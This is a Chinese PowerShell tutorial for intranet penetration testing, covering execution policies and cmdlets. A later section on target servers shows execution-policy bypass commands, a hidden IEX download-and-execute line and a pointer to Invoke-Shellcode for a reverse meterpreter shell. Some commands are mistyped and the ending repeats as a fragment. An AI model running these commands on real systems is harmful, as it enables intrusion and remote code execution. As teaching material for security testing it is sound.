内网渗透测试基础——Windows PowerShell篇

简介: 内网渗透测试基础——Windows PowerShell篇

内网渗透测试基础——Windows PowerShell篇

  1. Windows PowerShell基础
    Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows7、Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行代码,就可将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令提示符cmd.exe的扩展。

PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行且得力的安全测试工具。PowerShell具有以下特点。

  • 在Windows 7 以上版本的操作系统中是默认安装的。
  • 脚本可以在内存中运行,不需要写入磁盘。
  • 几乎不会触发杀毒软件。
  • 可以远程执行。
  • 目前很多工具都是基于PowerShell开发的。
  • 使Windows脚本的执行变得更容易。
  • cmd.exe的运行通常会被阻止,但是PowerShell的运行通常不会被阻止。
  • 可用于管理活动目录。

Windows操作系统所对应的PowerShell版本,如图所示。
image.png

可以输入“Get-Host"或者”$PSVersionTable.PSVERSION"命令查看PowerShell的版本,如图所示。

image.png

2. PowerShell的基本概念
1. .ps1文件
一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。

2. 执行策略
为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。

如果PowerShell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy。
  • Restricted: 脚本不能运行(默认设置)。
  • RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的签名的除外)。
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行。
  • Unrestriced:允许所有脚本运行。

可以使用下面的cmdlet命令设置PowerShell的执行策略。

Set-ExecutionPolicy

3. 运行脚本
要想运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”。

一个例外情况是,如果PowerShell脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名(例如“.\a.ps1")即可运行脚本。这与在Linux中执行Shell脚本的方法相同的。

4. 管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用“|”连接。我们通过一个例子来了解一下管道是如何工作的。执行如下命令,让所有正在运行的、名字以字符“p"开头的程序停止运行。

PS> get-process p* | stop-process

3. PowerShell的常用命令
1. 基础知识
在PowerShell下,类似cmd命令的命令叫做cmdlet命令。二者的命名规范一致,都采用”动词-名词“的形式,例如”New-Item"。动词部分一般为Add、New、Get、Remove、Set等。命令的别名一般兼容Windows Command和Liinux Shell,例如Get-Children命令在dir和ls下均可使用。另外,PowerShell命令不区分大小写。下面以文件操作为例,讲解PowerShell命令的基本用法。

  • 新建目录:New-Item whitecellclub-ItemType DIrectory。
  • 新建文件:New-Item light.txt–ItemTypeFile。
  • 删除目录:Remove-Item whitecellclub。
  • 显示文本内容:Get-Content test.txt。
  • 设置文本内容:Set-Content test.txt-Value “hello,world!"。
  • 追加内容:Add-Contentl light.txt-Value “i love you"。
  • 清除内容:Clear-Content test.txt。

2. 常用命令
在Windows终端提示符下输入”powershell“,进入PowerShell命令行环境。输入”help“命令即可显示帮助菜单,如图所示。
image.png

要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改成Unrestricted。

(1)绕过本地权限并执行

将PowerUp.ps1上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本,如图所示。
image.png

PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

将同一个脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下。

powershell.exe -exec bypass -Command “& {
   Import-Module C:\PowerUp.ps1;Invoke-AllChecks}

(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行

PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]

使用PowerUp.ps1脚本在目标机器上执行meterpreter Shell。在这里,我们需要知道使用的参数是什么。最简单的方法是阅读PowerShell脚本的源码,获取并浏览Invoke-Shellcode.ps1文件,了解如何调用反向HTTPS meterpreter Shell。

3. 运行32位和64位PowerShell
一些PowerShell脚本只能运行在指定的平台上。例如64位的平台上,需要通过64位的PowerShell脚本来运行命令。在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成两个独立程序。x64版本PowerShell的配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\目录下。

运行32位PowerShell脚本,命令如下。

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass

运行64位PowerShell脚本, 命令如下。

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。

hell.exe -NoP -NonI -W Hidden -Exec Bypass

推荐一个PowerShell在线教程,[ https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。

相关文章
|
23天前
|
人工智能 Linux iOS开发
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
45 12
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
23天前
|
安全 JavaScript Java
AppSpider Pro 7.5.015 for Windows - Web 应用程序安全测试
AppSpider Pro 7.5.015 for Windows - Web 应用程序安全测试
33 12
AppSpider Pro 7.5.015 for Windows - Web 应用程序安全测试
|
5天前
|
人工智能 测试技术 API
Windows用户必备:Postman v11详细安装指南与API测试入门教程(附官网下载
Postman是全球领先的API开发与测试工具,支持REST、SOAP、GraphQL等协议调试。2025年最新版v11新增AI智能生成测试用例、多环境变量同步等功能,适用于前后端分离开发、自动化测试、接口文档自动生成及团队协作共享API资源。本文详细介绍Postman的软件定位、核心功能、安装步骤、首次配置、基础使用及常见问题解答,帮助用户快速上手并高效利用该工具进行API开发与测试。
|
7天前
|
自然语言处理 安全 测试技术
HCL AppScan Standard 10.8.0 (Windows) - Web 应用程序安全测试
HCL AppScan Standard 10.8.0 (Windows) - Web 应用程序安全测试
26 0
HCL AppScan Standard 10.8.0 (Windows) - Web 应用程序安全测试
|
14天前
|
Linux 网络安全 iOS开发
Metasploit Framework 6.4.49 (macOS, Linux, Windows) - 开源渗透测试框架
Metasploit Framework 6.4.49 (macOS, Linux, Windows) - 开源渗透测试框架
26 0
Metasploit Framework 6.4.49 (macOS, Linux, Windows) - 开源渗透测试框架
|
3月前
|
安全 Ubuntu Linux
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
73 9
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
|
4月前
|
人工智能 测试技术 Windows
Windows 竞技场:面向下一代AI Agent的测试集
【10月更文挑战第25天】随着人工智能的发展,大型语言模型(LLMs)在多模态任务中展现出巨大潜力。为解决传统基准测试的局限性,研究人员提出了Windows Agent Arena,一个在真实Windows操作系统中评估AI代理性能的通用环境。该环境包含150多个多样化任务,支持快速并行化评估。研究团队还推出了多模态代理Navi,在Windows领域测试中成功率达到19.5%。尽管存在局限性,Windows Agent Arena仍为AI代理的评估和研究提供了新机遇。
84 3
|
5月前
|
存储 监控 网络安全
内网渗透测试基础——敏感数据的防护
内网渗透测试基础——敏感数据的防护
69 2
|
5月前
|
XML 网络安全 数据格式
Kali渗透测试:Windows事件管理工具wevtutil的使用方法(一)
Kali渗透测试:Windows事件管理工具wevtutil的使用方法(一)
115 2
|
18天前
|
安全 Unix 虚拟化
Windows 7 & Windows Server 2008 R2 简体中文版下载 (2025 年 2 月更新)
Windows 7 & Windows Server 2008 R2 简体中文版下载 (2025 年 2 月更新)
42 11
Windows 7 & Windows Server 2008 R2 简体中文版下载 (2025 年 2 月更新)

热门文章

最新文章